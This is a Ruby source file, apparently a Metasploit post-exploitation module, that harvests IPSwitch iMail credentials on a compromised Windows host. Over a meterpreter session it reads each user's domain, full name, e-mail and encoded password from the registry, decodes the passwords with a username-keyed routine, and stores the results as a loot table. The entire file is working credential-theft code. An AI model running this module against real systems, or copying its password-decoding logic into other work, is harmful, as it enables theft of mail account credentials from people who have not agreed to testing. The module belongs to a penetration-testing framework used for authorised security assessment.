metasploit-framework/modules/post/windows/gather/enum_imail_pwds.rb

209 lines
4.9 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/post/windows/registry'
require 'rexml/document'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "IPSwitch iMail User Data Enumeration",
'Description' => %q{
This module will collect iMail user data such as the username, domain,
full name, e-mail, and the decoded password. Please note if IMAILUSER is
specified, the module extract user data from all the domains found. If
IMAILDOMAIN is specified, then it will extract all user data under that
particular category.
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'sinn3r', #Metasploit
],
'References' =>
[
['URL', 'http://www.exploit-db.com/exploits/11331/'],
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('IMAILUSER', [false, 'iMail username', '']),
OptString.new('IMAILDOMAIN', [false, 'iMail Domain', ''])
], self.class)
end
def download_info(imail_user='', imail_domain='')
base = "HKLM\\SOFTWARE\\Ipswitch\\IMail"
#Find domain(s)
users_subkey = []
if imail_domain.empty?
domains_key = registry_enumkeys("#{base}\\domains")
domains_key.each do |domain_key|
users_subkey << "#{base}\\domains\\#{domain_key}\\Users"
end
else
users_subkey << "#{base}\\domains\\#{imail_domain}\\Users"
end
#Find users
users_key = []
users_subkey.each do |user_key|
if imail_user.empty?
users = registry_enumkeys(user_key)
if not users.nil?
users.each do |user|
users_key << "#{user_key}\\#{user}"
end
end
else
users_key << "#{user_key}\\#{imail_user}"
end
end
#Get data for each user
users = []
users_key.each do |key|
#Filter out '_aliases'
break if key =~ /_aliases/
print_status("Grabbing key: #{key}") if datastore['VERBOSE']
domain = $1 if key =~ /Ipswitch\\IMail\\domains\\(.+)\\Users/
mail_addr = registry_getvaldata(key, 'MailAddr')
password = registry_getvaldata(key, 'Password')
full_name = registry_getvaldata(key, 'FullName')
username = $1 if mail_addr =~ /(.+)@.+/
#Hmm, I don't think this user exists, skip to the next one
next if mail_addr == nil
current_user =
{
:domain => domain,
:fullname => full_name,
:username => username,
:email => mail_addr,
:password => password,
}
users << current_user
end
return users
end
def decode_password(username, enc_password)
counter = 0
password = ''
#Start decoding
0.step(enc_password.length-1, 2) do |i|
byte_1 = enc_password[i]
byte_1 = (byte_1 <= 57) ? byte_1 - 48 : byte_1 - 55
byte_1 *= 16
byte_2 = enc_password[i+1]
byte_2 = (byte_2 <= 57) ? byte_2 - 48 : byte_2 - 55
char = byte_1 + byte_2
counter = 0 if username.length <= counter
if username[counter] > 54 and username[counter] < 90
username[counter] += 32
end
char -= username[counter]
counter += 1
password << char.chr
end
print_status("Password '#{enc_password}' = #{password}") if datastore['VERBOSE']
return password
end
def report(users)
credentials = Rex::Ui::Text::Table.new(
'Header' => 'Ipswitch iMail User Credentials',
'Ident' => 1,
'Columns' =>
[
'Domain',
'User',
'Full Name',
'Password',
'E-mail',
]
)
users.each do |user|
domain = user[:domain]
username = user[:username]
password = user[:password]
full_name = user[:fullname]
e_mail = user[:email]
if datastore['VERBOSE']
text = ''
text << "Domain=#{domain}, "
text << "User=#{username}, "
text << "Password=#{password}, "
text << "Full Name=#{full_name}, "
text << "E-mail=#{e_mail}"
print_status(text)
end
credentials << [domain, username, full_name, password, e_mail]
end
print_status("Storing data...")
path = store_loot(
'imail.user.creds',
'text/plain',
session,
credentials,
'imail_user_creds.txt',
'Ipswitch iMail user credentials'
)
print_status("User credentials saved in: #{path}")
end
def run
imail_user = datastore['IMAILUSER']
imail_domain = datastore['IMAILDOMAIN']
#Download user data. If no user specified, we dump it all.
users = download_info(imail_user, imail_domain)
#Process fullname and decode password
users.each do |user|
user[:fullname] = Rex::Text.to_ascii(user[:fullname][2, user[:fullname].length])
user[:password] = decode_password(user[:username], user[:password])
end
#Report information and store it
report(users)
end
end